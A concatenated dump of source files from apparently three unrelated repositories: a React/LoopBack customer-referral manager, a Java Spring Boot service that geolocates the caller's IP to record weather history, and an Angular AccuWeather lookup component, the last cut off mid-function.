<td>{customer.payback}</td>
</tr>
)
})
}
</tbody>
</table>
}
return (
<div>
<div style={{width:'50%',paddingLeft:'20%'}}>
{ cData }
</div>
<div style = {{color:'red'}}>
{statusMessage.text ? statusMessage.text : ''}
</div>
</div>
);
}
}
export default HomePage;
<file_sep>/client/public/src/containers/DetailsContainer.js
import React, { Component } from 'react';
import { connect } from 'react-redux';
import Details from '../components/details.js';
import {getCustomerById, getCustomerByIdFailure, getCustomerByIdSuccess, getCustomersForReferral,getCustomersForReferralSuccess, getCustomersForReferralFailure, getReferredCustomers, getReferredCustomersSuccess,getReferredCustomersFailure, addChildren, addChildrenFailure, addChildrenSuccess } from '../actions/UsersAction';
const mapDispatchToProps = (dispatch) => {
return {
getCustomerById : (customer_id) => {
dispatch(getCustomerById(customer_id))
.then((response) => {
let data = response.payload.data;
if( ( response.payload.data.response && response.payload.data.response.status != 200) || response.payload.data.error ) {
dispatch(getCustomerByIdFailure(response.payload));
} else {
dispatch(getCustomerByIdSuccess(response.payload));
}
});
},
getCustomersForReferral : (customer_id) => {
dispatch(getCustomersForReferral(customer_id))
.then((response) => {
let data = response.payload.data;
if(( response.payload.data.response && response.payload.data.response.status != 200) || response.payload.data.error ) {
dispatch(getCustomersForReferralFailure(response.payload));
} else {
dispatch(getCustomersForReferralSuccess(response.payload));
}
});
},
getReferredCustomers : (customer_id) => {
dispatch(getReferredCustomers(customer_id))
.then((response) => {
let data = response.payload.data;
if(( response.payload.data.response && response.payload.data.response.status != 200) || response.payload.data.error ) {
dispatch(getReferredCustomersFailure(response.payload));
} else {
dispatch(getReferredCustomersSuccess(response.payload));
}
});
},
addChildren : (childrenIds, customer_id) => {
console.log(childrenIds+' ' +customer_id);
dispatch(addChildren(childrenIds, customer_id))
.then((response) => {
let data = response.payload.data;
if(( response.payload.data.response && response.payload.data.response.status != 200) || response.payload.data.error ) {
dispatch(addChildrenFailure(response.payload));
} else {
dispatch(addChildrenSuccess(response.payload));
}
});
}
}
};
function mapStateToProps(state) {
return {
user: state.user
};
}
export default connect(mapStateToProps, mapDispatchToProps)(Details);
<file_sep>/client/public/src/reducers/UsersReducer.js
import { ADD_USER, ADD_USER_SUCCESS, ADD_USER_FAILURE, GET_CUSTOMERS, GET_CUSTOMERS_SUCCESS, GET_CUSTOMERS_FAILURE, GET_CUSTOMERBYID, GET_CUSTOMERBYID_SUCCESS, GET_CUSTOMERBYID_FAILURE, GET_CUSTOMERS_FOR_REFERRAL, GET_CUSTOMERS_FOR_REFERRAL_SUCCESS, GET_CUSTOMERS_FOR_REFERRAL_FAILURE, GET_REFERRED_CUSTOMERS, GET_REFERRED_CUSTOMERS_SUCCESS, GET_REFERRED_CUSTOMERS_FAILURE, ADD_CHILDREN, ADD_CHILDREN_SUCCESS, ADD_CHILDREN_FAILURE } from '../actions/UsersAction';
const INITIAL_STATE = {data: null, status: null, error: null, type: null };
export default function(state = INITIAL_STATE, action) {
let error;
switch(action.type) {
case ADD_USER:
return { ...state, data: null, status:'adding', error:null, type: null };
case ADD_USER_SUCCESS:
return { ...state, data: null, status:'success', error:null, type: null };
case ADD_USER_FAILURE:
error = action.payload.data || {message: action.payload.message};
return { ...state, data: null, status:'failure', error:error, loading: false, type: null};
case GET_CUSTOMERS:
return { ...state, data: null, status:'fetching', error:null, type: null };
case GET_CUSTOMERS_SUCCESS:
return { ...state, data: action.payload.data, status:'success', error:null, type: null };
case GET_CUSTOMERS_FAILURE:
error = action.payload.data || {message: action.payload.message};
return { ...state, data: null, status:'failure', error:error, loading: false, type: null};
case GET_CUSTOMERBYID:
return { ...state, data: null, status:'fetchingcustomerid', error:null, type: null };
case GET_CUSTOMERBYID_SUCCESS:
return { ...state, data: action.payload.data, status:'successcustomerbyid', error:null, type: 'customerbyiddata' };
case GET_CUSTOMERBYID_FAILURE:
error = action.payload.data || {message: action.payload.message};
return { ...state, data: null, status:'failurecustomerbyid', error:error, loading: false, type: null};
case GET_CUSTOMERS_FOR_REFERRAL:
return { ...state, data: null, status:'fetchingcustomersforreferral', error:null, type: null };
case GET_CUSTOMERS_FOR_REFERRAL_SUCCESS:
return { ...state, data: action.payload.data, status:'successcustomersforreferral', error:null, type: 'customersforreferraldata' };
case GET_CUSTOMERS_FOR_REFERRAL_FAILURE:
error = action.payload.data || {message: action.payload.message};
return { ...state, data: null, status:'failurecustomersforreferral', error:error, loading: false, type: null};
case GET_REFERRED_CUSTOMERS:
return { ...state, data: null, status:'fetchingreferredcustomers', error:null, type: null };
case GET_REFERRED_CUSTOMERS_SUCCESS:
return { ...state, data: action.payload.data, status:'successreferredcustomers', error:null, type: 'referredcustomersdata' };
case GET_REFERRED_CUSTOMERS_FAILURE:
error = action.payload.data || {message: action.payload.message};
return { ...state, data: null, status:'failurereferredcustomers', error:error, loading: false, type: null};
case ADD_CHILDREN:
return { ...state, data: null, status:'addingchildren', error:null, type: null };
case ADD_CHILDREN_SUCCESS:
return { ...state, data: action.payload.data, status:'childrenadded', error:null, type: null };
case ADD_CHILDREN_FAILURE:
error = action.payload.data || {message: action.payload.message};
return { ...state, data: null, status:'addingchildrenfailed', error:error, loading: false, type: null};
default:
return state;
}
}
<file_sep>/client/public/src/components/details.js
import React, { Component, PropTypes } from 'react';
import { Link } from 'react-router';
import {Checkbox, CheckboxGroup} from 'react-checkbox-group';
let customerDataById = '';
let referralCustomersData = [];
let referredCustomersData = [];
let statusMessage = { text : '' };
let customer_id = '';
class Details extends Component {
constructor(props) {
super(props);
this.state = {
childrenIds: []
}
this.changeHandler = this.changeHandler.bind(this);
customer_id = this.props.children.customer_id;
}
changeHandler(e){
this.setState({
childrenIds: e
});
}
componentDidMount() {
this.props.getCustomerById( customer_id );
this.props.getCustomersForReferral( customer_id );
this.props.getReferredCustomers( customer_id );
}
componentWillReceiveProps(nextProps) {
if(nextProps.user.type === 'customerbyiddata') {
customerDataById = nextProps.user.data.response.data;
}
if(nextProps.user.type === 'customersforreferraldata') {
referralCustomersData = nextProps.user.data.response.data;
}
if(nextProps.user.type === 'referredcustomersdata') {
referredCustomersData = nextProps.user.data.response.data;
}
if (nextProps.user.status === 'failure') {
statusMessage.text='Please try again after sometime!';
}
if (nextProps.user.status === 'childrenadded') {
this.props.getCustomersForReferral( customer_id );
this.props.getReferredCustomers( customer_id );
}
}
render() {
let rcData = <div style = {{ color: 'red' }}>No Referred Customers Found</div>;
let rlcData = <div style = {{ color: 'red' }}>No Customers Found For Referral</div>;
if( referredCustomersData.length ){
rcData = <table className = "table">
<thead>
<tr>
<th>Customer Id</th>
<th>Email</th>
</tr>
</thead>
<tbody>
{
referredCustomersData.map( (customer, index) => {
return(
<tr key = { index }>
<td>{customer.customer_id}</td>
<td>{customer.email}</td>
</tr>
)
})
}
</tbody>
</table>
}
if( referralCustomersData.length ){
rlcData = <CheckboxGroup name="childrens" value = {this.state.childrenIds} onChange = {this.changeHandler}>
{
referralCustomersData.map( (customer, index) => {
return(
<div key = { index } style = {{ display:'block'}}>
<label><Checkbox value={customer.customer_id}/> {customer.email}</label>
</div>
)
})
}
</CheckboxGroup>
}
return (
<div style={{ paddingLeft : '5%'}}>
<div >
<p>Email : {customerDataById.email}</p>
<p>Payback : {customerDataById.payback}</p>
<p>Referral Id : {customerDataById.referral_id || '--' }</p>
<p>Referral Count : {customerDataById.referral_count || '0' }</p>
</div>
<h3 >Customers Referred</h3>
<div style={{width:'50%',paddingLeft:'5%'}}>
{ rcData }
</div>
<h3>Refer New Customers</h3>
<div style={{width:'50%',paddingLeft:'5%'}}>
{ rlcData }
</div>
<div style={{marginTop: 20}}>
<button className='btn btn-primary' disabled = { !referralCustomersData.length || !this.state.childrenIds.length }onClick = {this.props.addChildren.bind('null', this.state.childrenIds, customerDataById.customer_id)}>Add</button>
</div>
</div>
);
}
}
export default Details;
<file_sep>/client/public/src/containers/HomePageContainer.js
import React, { Component } from 'react';
import { connect } from 'react-redux';
import HomePage from '../components/homepage.js';
import {getCustomers, getCustomersFailure, getCustomersSuccess } from '../actions/UsersAction';
const mapDispatchToProps = (dispatch) => {
return {
getCustomers : () => {
//console.log(dispatch);
dispatch(getCustomers())
.then((response) => {
let data = response.payload.data;
//if any one of these exist, then there is a field error
if(response.payload.status != 200 || response.payload.data.customer_id == "") {
//let other components know of error by updating the redux` state
//reject(data);
dispatch(getCustomersFailure(response.payload));
} else {
//resolve();
dispatch(getCustomersSuccess(response.payload));
}
});
}
}
};
function mapStateToProps(state) {
return {
user: state.user
};
}
export default connect(mapStateToProps, mapDispatchToProps)(HomePage);
<file_sep>/server/common/models/customer.js
'use strict';
var settings = require("../../settings.json"),
referral_bonus = settings.joiningFee * (30 / 100);
module.exports = function(Customer) {
Customer.disableRemoteMethod("create", true);
Customer.disableRemoteMethod("upsert", true);
Customer.disableRemoteMethod("updateAll", true);
Customer.disableRemoteMethod("updateAttributes", false);
Customer.disableRemoteMethod("find", true);
Customer.disableRemoteMethod("findById", true);
Customer.disableRemoteMethod("findOne", true);
Customer.disableRemoteMethod("deleteById", true);
Customer.disableRemoteMethod("confirm", true);
Customer.disableRemoteMethod("count", true);
Customer.disableRemoteMethod("exists", true);
Customer.disableRemoteMethod("resetPassword", true);
Customer.disableRemoteMethod('createChangeStream', true);
Customer.disableRemoteMethod('replaceOrCreate', true);
Customer.disableRemoteMethod('replaceById', true);
Customer.disableRemoteMethod('upsertWithWhere', true);
/**
* Adds a new customer
* @param {string} email Email of the customer
* @param {number} referral_id Referral ID
* @param {Function(Error, object)} callback
*/
Customer.addCustomer = function(email, referral_id, callback) {
var status = 200,
response = {},
customer_id = new Date().getTime();
referral_id = referral_id?referral_id:null;
var customerObj = {
"customer_id": customer_id,
"email": email,
"referral_id": referral_id,
"payback": 0.0
};
Customer.findOrCreate({ where: { email: email } }, customerObj, function(error, customer, created) {
if (error) {
status = error.statusCode;
response.status = status;
response.error = error;
}
if (created) {
if(referral_id){
Customer.findById(referral_id, function(error, parentCustomer) {
if (error) {
status = error.statusCode;
response.status = status;
response.error = error;
}
if (parentCustomer) {
parentCustomer.payback += referral_bonus;
parentCustomer.save({}, function(error, updatedInstance) {
if (error) {
status = error.statusCode;
response.status = status;
response.error = error;
}
if (updatedInstance) {
response.status = status;
response.data = customer;
}
callback(error, response);
});
} else {
customer.referral_id = null;
customer.save({}, function(error, updatedInstance){
if (error) {
status = error.statusCode;
response.status = status;
response.error = error;
}
if (updatedInstance) {
response.status = status;
response.message = "Customer added, but the referral id is invalid.";
response.data = customer;
}
callback(error, response);
});
}
});
} else {
response.status = status;
response.data = customer;
callback(error, response);
}
} else if (!created) {
error = new Error();
error.name = "Bad Request."
error.status = 400;
error.message = "Email already exists.";
response.status = error.status;
response.error = error;
callback(error, response);
}
});
};
/**
* Gets customer by id
* @param {number} customer_id ID of the customer
* @param {Function(Error, object)} callback
*/
Customer.getCustomerById = function(customer_id, callback) {
var status = 200,
response = {};
Customer.findById(customer_id, function(error,customer){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(customer){
response.status = status;
customer.referral_count = customer.payback/referral_bonus;
response.data = customer;
}
callback(error, response);
});
};
/**
* Add children customers referred by a parent customer.
* @param {array} childrenIds IDs of the children customers.
* @param {string} customer_id ID of the parent customer
* @param {Function(Error, object)} callback
*/
Customer.addReferral = function(childrenIds, customer_id, callback) {
var status=200,
response = {},
earned_bonus = 0;
Customer.updateAll({customer_id:{inq:childrenIds}, referral_id:null}, {referral_id:customer_id}, function(error,info){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(info && info.count>0){
response.status = status;
response.info = info;
earned_bonus = info.count * referral_bonus;
Customer.findById(customer_id, function(error, customer){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(customer){
customer.payback +=earned_bonus;
customer.save({}, function(error, updatedInstance){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(updatedInstance){
response.status = status;
response.data = updatedInstance;
}
});
}
});
} else {
error = new Error();
error.name = "Bad Request."
error.status = 400;
error.message = "Customers already referred.";
response.status = error.status;
response.error = error;
}
callback(error, response);
});
};
/**
* Fetch all children customers for a given parent customer ID
* @param {string} customer_id ID of the parent customer
* @param {Function(Error, object)} callback
*/
Customer.fetchAllChildren = function(customer_id, callback) {
var status = 200,
response = {};
Customer.find({where:{referral_id:customer_id}}, function(error, childrenCustomers){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(childrenCustomers){
response.status = status;
response.data = childrenCustomers;
}
callback(error, response);
});
};
/**
* Fetch all customers with the number ofchildrens referred by them in ascending or descending order
* @param {number} sortFlag Flag for sorting, 1 for ascending and -1 for descending.
* @param {Function(Error, object)} callback
*/
Customer.fetchAllCustomersWithReferralCount = function(sortFlag, callback) {
var status = 200,
response = {},
orderBy = "payback ";
orderBy += sortFlag===1?"ASC":"DESC";
Customer.find({order:orderBy}, function(error, customers){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(customers){
response.status = 200;
for(var i=0, cLength=customers.length;i<cLength;i++){
customers[i]['referral_count'] = customers[i]['payback']/referral_bonus;
}
response.data = customers;
}
callback(error, response);
});
};
/**
* Fetches customers who have not been referred by anone till now
* @param {number} customerId ID of the customer requesting this list
* @param {Function(Error, object)} callback
*/
Customer.fetchUnreferredCustomers = function(customer_id, callback) {
var status = 200,
response = {};
Customer.find({where:{referral_id:null, customer_id:{neq:customer_id}}}, function(error, customers){
if(error){
status = error.statusCode;
response.status = status;
response.error = error;
}
if(customers){
response.status = status;
response.data = customers;
}
callback(error, response);
});
};
};
<file_sep>/client/public/src/components/navigation.js
import React, { Component } from 'react';
class Navigation extends Component {
render() {
return (
<nav className="navbar navbar-default">
<div className="container-fluid">
<div className="navbar-header">
<a className="navbar-brand" href="#">Customer Management</a>
</div>
<ul className="nav navbar-nav">
<li><a href="/home">Home</a></li>
<li><a href="/add">Add Customer</a></li>
</ul>
</div>
</nav>
);
}
}
export default Navigation;
| cc092ee44130e7ce2cd6e2b41358ef5741c7e31d | [
"JavaScript",
"Markdown"
] | 10 | JavaScript | kakadiadarpan/customer-management | 379c09345a38ef030e7da11d0a7e0f6675d89b32 | 5c95396ada91b315ecebaa8e8373ba1136e538e6 |
refs/heads/master | <file_sep>package br.com.platcorp.uol.domain;
import java.io.Serializable;
import java.util.List;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.OneToMany;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size;
@Entity
public class Cliente implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Integer id;
@NotNull
@Size(min=2, max=30)
private String nome;
private Integer idade;
@OneToMany(mappedBy="cliente")
private List<Historico> historico;
//Construtor vazio
public Cliente() {
}
//Construtor com parametros
public Cliente(Integer id, String nome, Integer idade) {
super();
this.id = id;
this.nome = nome;
this.idade = idade;
}
//Gets and Setters
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getNome() {
return nome;
}
public void setNome(String nome) {
this.nome = nome;
}
public Integer getIdade() {
return idade;
}
public void setIdade(Integer idade) {
this.idade = idade;
}
public List<Historico> getHistorico() {
return historico;
}
public void setHistorico(List<Historico> historico) {
this.historico = historico;
}
}
<file_sep>package br.com.platcorp.uol.services;
import org.springframework.stereotype.Service;
import org.springframework.web.client.RestTemplate;
import br.com.platcorp.uol.dto.ClimaDTO;
import br.com.platcorp.uol.dto.DistanceDTO;
import br.com.platcorp.uol.dto.GeolocalizacaoDTO;
@Service
public class GeolocalizacaoService {
//
/**
*
* OBS: Essa classe que retorna tem uma subclasse chamada (Data) que é um sub-objeto do JSON.
* Para acessar um parametro; Ex: geolocalizacao.getData().getLatitude();
*
* @param ip
* @return Objeto que contem Latitude e Longitude
*/
public GeolocalizacaoDTO findLocation(String ip) {
String url = "https://ipvigilante.com/"+ip; //172.16.17.32 (vem por parametro)
RestTemplate restTemplate = new RestTemplate();
GeolocalizacaoDTO geolocalizacao = restTemplate.getForObject(url, GeolocalizacaoDTO.class);
return geolocalizacao;
}
/**
* Método responsável por pegar a distancia das cidades
* onde conforme passo latitude/longitude e recupero o (woeid) variavel com código para buscar
* na api de temperatura esse código junto com a data do dia para retornar temperatura Max e Min.
*
* @param latitude
* @param longitude
* @return
*/
public String findDistance(String latitude, String longitude) {
String woeid = null;
String url = "https://www.metaweather.com/api/location/search/?lattlong="+latitude+","+longitude+" ";
RestTemplate restTemplate = new RestTemplate();
//Json é um Array então tive que capturar desse forma convertendo a classe num array de objeto
DistanceDTO[] array = restTemplate.getForObject(url, DistanceDTO[].class);
//Caso não achar a primeira cidade pego a mais próxima
if(array[0].getDistance() == null) {
woeid = array[0].getWoeid();
} else {
woeid = array[0].getWoeid();
}
//Aqui no final só retorno 1 objeto que preciso e não o array todo
return woeid;
}
/**
*
* @param woeid (código) para buscar os dados referente teperatura do dia na API
* @param dataUSA com barra ex: Ano/mes/dia (mascara do java = yyyy/MM/dd)
* @return
*/
public ClimaDTO findClima(String woeid, String dataUSA) {
//A data deve ser no formato americano ano/mes/dia e com barra e não tracinho
String url = "https://www.metaweather.com/api/location/"+woeid+"/" +dataUSA+ "/";
RestTemplate restTemplate = new RestTemplate();
//Json é um Array então tive que capturar desse forma convertendo a classe num array de objeto
ClimaDTO[] array = restTemplate.getForObject(url, ClimaDTO[].class);
//Pego somente primeiro resulta do array de objeto e populo a classe para pegar a temperatura Max e Min
ClimaDTO climaDTO = new ClimaDTO();
climaDTO = array[0];
//Aqui no final só retorno 1 objeto que preciso e não o array todo
return climaDTO;
}
}
<file_sep>package br.com.platcorp.uol.services;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import br.com.platcorp.uol.domain.Cliente;
import br.com.platcorp.uol.domain.Historico;
import br.com.platcorp.uol.dto.ClimaDTO;
import br.com.platcorp.uol.dto.GeolocalizacaoDTO;
import br.com.platcorp.uol.repositories.HistoricoRepository;
import br.com.platcorp.uol.services.exceptions.ObjectNotFoundException;
import br.com.platcorp.uol.util.Rede;
@Service
public class HistoricoService {
@Autowired
private HistoricoRepository repo;
@Autowired
private GeolocalizacaoService geolocalizacaoService;
/**
* Save History
* @param cliente
* @return
*/
public Historico save(Cliente cliente) {
//Populo objeto com os dados daa Geolocalizacao
Historico historico = this.buscaDadosTemperaturaMontaHistorico();
if(cliente != null) {
historico.setCliente(cliente);;
return repo.save(historico);
} else {
throw new ObjectNotFoundException("ID Cliente não encontrado");
}
}
/**
* ESSE METÓDO É O PRINCIPAL COMO PUBLICO NESSA CLASSE DE SERVIÇO;
* AQUI FAÇO A CHAMADA DOS MÉTODOS NA SEQUENCIA CORRETA, POIS AS APIs DEPENDE DE VALORES NA SEQUENCIA.
*
* 1 - PEGO O IP EXTERNO ATRAVES DA CLASSE
* 2 - EXECUTO METODO findLocation() ONDE ME RETORNA UM OBJETO QUE CONTEM A LATITUDE E LONGITUDE (https://ipvigilante.com)
* 3 - COM A (LATITUDE E LONGITUDE) CHAMO OUTRO METODO QUE FAZ REQUISIÇÃO EM OUTRA API https://www.metaweather.com/api/location/search/?lattlong=latitude,longitude";
* 4 - COM RESULTADO DO PASSO ANTERIOR PEGO CODIGO '(woeid) mais a data do dia' e passo para API https://www.metaweather.com/api/woeid/dia/mes/ano/
*
* @return
*/
public Historico buscaDadosTemperaturaMontaHistorico() {
String ipOrigem = Rede.pegarIP();
GeolocalizacaoDTO geolocalizacaoDTO = geolocalizacaoService.findLocation(ipOrigem);
String woeid = geolocalizacaoService.findDistance(geolocalizacaoDTO.getData().getLatitude(), geolocalizacaoDTO.getData().getLongitude());
SimpleDateFormat df = new SimpleDateFormat("yyyy/MM/dd");
String dataUSA = df.format(new Date());
ClimaDTO climaDTO = geolocalizacaoService.findClima(woeid, dataUSA);
Historico historico = new Historico();
historico.setIpOrigem(ipOrigem);
historico.setLatitude(geolocalizacaoDTO.getData().getLatitude());
historico.setLongitude(geolocalizacaoDTO.getData().getLongitude());
historico.setWoeid(woeid);
historico.setTemperaturaMinima(climaDTO.getMinTemp());
historico.setTemperaturaMaxima(climaDTO.getMaxTemp());
historico.setDtInsercao(new Date());
return historico;
}
}
<file_sep>package br.com.platcorp.uol.services;
import java.util.List;
import java.util.Optional;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import br.com.platcorp.uol.domain.Cliente;
import br.com.platcorp.uol.repositories.ClienteRepository;
import br.com.platcorp.uol.services.exceptions.ObjectNotFoundException;
@Service
public class ClienteService {
@Autowired
private ClienteRepository repo;
/* Insere Cliente */
@Transactional
public Cliente insert(Cliente obj) {
obj.setId(null);
return repo.save(obj);
}
//Busca Cliente por ID
public Cliente find(Integer id) {
Optional<Cliente> cliente = repo.findById(id);
return cliente.orElseThrow(() -> new ObjectNotFoundException(
"Objeto não encontrato " + id + " Tipo: " + Cliente.class.getName()));
}
//Update
public Cliente update(Cliente cliente) {
find(cliente.getId());
return repo.save(cliente);
}
//Delete
public void delete(Integer id) {
find(id); //para garantir que esteja vindo algum id no parametro.
repo.deleteById(id);
}
public List<Cliente> findAll() {
return repo.findAll();
}
}
<file_sep>package br.com.platcorp.uol.domain;
import java.io.Serializable;
import java.util.Date;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.fasterxml.jackson.annotation.JsonIgnore;
@Entity
public class Historico implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Integer id;
private String ipOrigem;
private String latitude;
private String longitude;
private String woeid;
private String temperaturaMaxima;
private String temperaturaMinima;
@JsonFormat(pattern="dd/MM/yyyy HH:mm")
private Date dtInsercao;
@JsonIgnore
@ManyToOne
@JoinColumn(name="cliente_id")
private Cliente cliente;
//Construtor
public Historico() {
}
//Construtor
public Historico(Integer id, String ipOrigem, String latitude, String longitude,
String temperaturaMaxima, String temperaturaMinima, Date dtInsercao) {
super();
this.id = id;
this.ipOrigem = ipOrigem;
this.latitude = latitude;
this.longitude = longitude;
this.temperaturaMaxima = temperaturaMaxima;
this.temperaturaMinima = temperaturaMinima;
this.dtInsercao = dtInsercao;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getIpOrigem() {
return ipOrigem;
}
public void setIpOrigem(String ipOrigem) {
this.ipOrigem = ipOrigem;
}
public String getLatitude() {
return latitude;
}
public void setLatitude(String latitude) {
this.latitude = latitude;
}
public String getLongitude() {
return longitude;
}
public void setLongitude(String longitude) {
this.longitude = longitude;
}
public String getWoeid() {
return woeid;
}
public void setWoeid(String woeid) {
this.woeid = woeid;
}
public String getTemperaturaMaxima() {
return temperaturaMaxima;
}
public void setTemperaturaMaxima(String temperaturaMaxima) {
this.temperaturaMaxima = temperaturaMaxima;
}
public String getTemperaturaMinima() {
return temperaturaMinima;
}
public void setTemperaturaMinima(String temperaturaMinima) {
this.temperaturaMinima = temperaturaMinima;
}
public Date getDtInsercao() {
return dtInsercao;
}
public void setDtInsercao(Date dtInsercao) {
this.dtInsercao = dtInsercao;
}
public Cliente getCliente() {
return cliente;
}
public void setCliente(Cliente cliente) {
this.cliente = cliente;
}
}
<file_sep>package br.com.platcorp.uol.util;
import java.net.HttpURLConnection;
import java.net.URL;
public class Rede {
public static String pegarIP() {
String ipPagina = null;
String meuIP = null;
try {
URL url = new URL("http://checkip.dyndns.org/");
HttpURLConnection conexao = (HttpURLConnection) url.openConnection();
conexao.connect();
java.io.BufferedReader pagina = new java.io.BufferedReader(
new java.io.InputStreamReader(conexao.getInputStream()));
ipPagina = pagina.readLine();
meuIP = ipPagina.substring(ipPagina.indexOf(": ") + 2, ipPagina.lastIndexOf("</body>"));
pagina.close();
} catch (Exception e) {
e.printStackTrace();
}
return meuIP;
}
}
<file_sep>package br.com.platcorp.uol.dto;
import com.fasterxml.jackson.annotation.JsonAlias;
public class ClimaDTO {
@JsonAlias("min_temp")
private String minTemp;
@JsonAlias("max_temp")
private String maxTemp;
public String getMinTemp() {
return minTemp;
}
public void setMinTemp(String minTemp) {
this.minTemp = minTemp;
}
public String getMaxTemp() {
return maxTemp;
}
public void setMaxTemp(String maxTemp) {
this.maxTemp = maxTemp;
}
}
| 7f747ed0f66ad13788aafb2029596ea1712e34c8 | [
"Java"
] | 7 | Java | rogeriobalestra/platcorp_uol | 1edebc4f45366ead1aa4c640559c62d3700c31fc | cc9828f5b394097ba78d57e074ed0ed0ac67800b |
refs/heads/master | <file_sep>import { Component, OnInit, OnDestroy } from '@angular/core';
import { WeatherService } from './weather.service';
import { Country } from 'src/app/models/country';
import { Region } from 'src/app/models/region';
import { FormBuilder, FormGroup, FormControl, Validators } from '@angular/forms';
import { instantiateDefaultStyleNormalizer } from '@angular/platform-browser/animations/src/providers';
import { CurrentConditions } from 'src/app/models/current-conditions.model';
import { Subscription } from 'rxjs';
import { CitySearchResult } from 'src/app/models/city-search-result.model';
import { debounceTime } from 'rxjs/operators';
@Component({
selector: 'app-weather',
templateUrl: './weather.component.html',
styleUrls: ['./weather.component.scss']
})
export class WeatherComponent implements OnInit, OnDestroy {
public regionList: Region[] = [];
public countryList: Country[] = [];
public selectedCountry: Country;
public location = '';
public searchForm: FormGroup;
public weatherReport: CurrentConditions;
public filteredCityList: CitySearchResult[];
private cityList: CitySearchResult[];
private formChangeSubscriptions: Subscription[] = [];
constructor(private weatherService: WeatherService,
private fb: FormBuilder) { }
ngOnInit(): void {
this.initForm();
this.getRegionList();
this.subscribeToFormChanges();
}
ngOnDestroy(): void {
if (this.formChangeSubscriptions) {
this.formChangeSubscriptions.forEach((sub: Subscription) => {
sub.unsubscribe();
});
}
}
public getWeatherReport(): void {
if (!this.searchForm || !this.searchForm.valid) { return; }
const location: CitySearchResult = this.searchForm.controls['location'].value;
if (location && location.Key) {
this.weatherService.getCurrentConditionsReport(location.Key)
.subscribe((report: any[]) => {
if (report && report.length > 0) {
this.weatherReport = report[0];
}
});
}
}
public displayCityFn(city: CitySearchResult): string {
return city ? city.EnglishName : undefined;
}
private initForm(): void {
this.searchForm = this.fb.group({
region: new FormControl('', Validators.compose([Validators.required])),
country: new FormControl('', Validators.compose([Validators.required])),
location: new FormControl('', Validators.compose([Validators.required]))
});
}
private subscribeToFormChanges(): void {
if (!this.searchForm) { return; }
this.formChangeSubscriptions.push(
this.searchForm.controls['region'].valueChanges
.subscribe((reg: Region) => {
this.getCountryList(reg.ID);
}),
this.searchForm.controls['location'].valueChanges
.pipe(debounceTime(400))
.subscribe((value: string) => {
const country = this.searchForm.controls['country'].value;
if (value && value.length > 2 && country) {
this.getcitiesForCountry(country.ID, value);
}
})
);
}
private getcitiesForCountry(countryCode: string, query: string): void {
this.weatherService.getCitiesForCountry(countryCode, query)
.subscribe((cityResult: CitySearchResult[]) => {
if (cityResult && cityResult.length > 0) {
this.cityList = [...cityResult];
}
}, error => console.error(error));
}
private getCountryList(regionCode: string): void {
if (!regionCode) { return; }
this.weatherService.getCountryList(regionCode)
.subscribe((countriesListResult: Country[]) => {
if (countriesListResult && countriesListResult.length > 0) {
this.countryList = [...countriesListResult];
} else {
this.countryList = [];
}
}, error => console.error(error));
}
private getRegionList(): void {
this.weatherService.getRegionList()
.subscribe((regionListResult: Region[]) => {
if (regionListResult && regionListResult.length > 0) {
this.regionList = [...regionListResult];
} else {
this.regionList = [];
}
}, error => console.error(error));
}
}
<file_sep>import { Injectable } from '@angular/core';
import { Observable, Observer, forkJoin } from 'rxjs';
import { map, count } from 'rxjs/operators';
import { HttpClient, HttpParams, HttpEvent } from '@angular/common/http';
import { environment } from 'src/environments/environment';
import { Country } from 'src/app/models/country';
import { Region } from 'src/app/models/region';
import { CurrentConditions } from 'src/app/models/current-conditions.model';
import { CitySearchResult } from 'src/app/models/city-search-result.model';
@Injectable()
export class WeatherService {
constructor(private http: HttpClient) {
}
getCurrentConditionsReport(locationkey: number): Observable<CurrentConditions[]> {
return Observable.create((observer: Observer<any>): void => {
if (!locationkey) {
observer.error('Location key is required.');
return;
}
const currentConditionsEndPoint = `${environment.ACCUWEATHER_CURRENT_CONDITIONS_API_END_POINT}/${locationkey}`;
const options: any = {
params: {
'apikey': environment.ACCUWEATHER_API_KEY,
'details': false,
}
};
this.http.get(currentConditionsEndPoint, options)
.pipe(map(val => <any>val as CurrentConditions[]))
.subscribe((report: CurrentConditions[]): void => {
observer.next(report);
observer.complete();
}, (error: any) => {
observer.error(error);
});
});
}
getCountryList(regionCode: string): Observable<Country[]> {
return Observable.create((observer: Observer<Country[]>): void => {
if (!regionCode) {
observer.error('Region code is required.');
return;
}
const countryListEndpoint = `${environment.ACCUWEATHER_COUNTRY_LIST_API_END_POINT}/${regionCode}`;
const options: any = {
params: {
'apikey': environment.ACCUWEATHER_API_KEY
}
};
this.http.get(countryListEndpoint, options)
.pipe(map(val => <any>val as Country[]))
.subscribe((countryList: Country[]): void => {
observer.next(countryList);
observer.complete();
}, (error: any) => {
observer.error(error);
});
});
}
getCitiesForCountry(countryCode: string, query: string): Observable<CitySearchResult[]> {
return Observable.create((observer: Observer<CitySearchResult[]>): void => {
if (!countryCode || !query) {
observer.error('Country code and query are required.');
return;
}
const citySearchEndpoint = environment.ACCUWEATHER_CITY_SEARCH_API_END_POINT
.replace('{countryCode}', countryCode);
const options: any = {
params: {
'apikey': environment.ACCUWEATHER_API_KEY,
'q': query,
'details': false
}
};
this.http.get(citySearchEndpoint, options)
.pipe(map(val => <any>val as CitySearchResult[]))
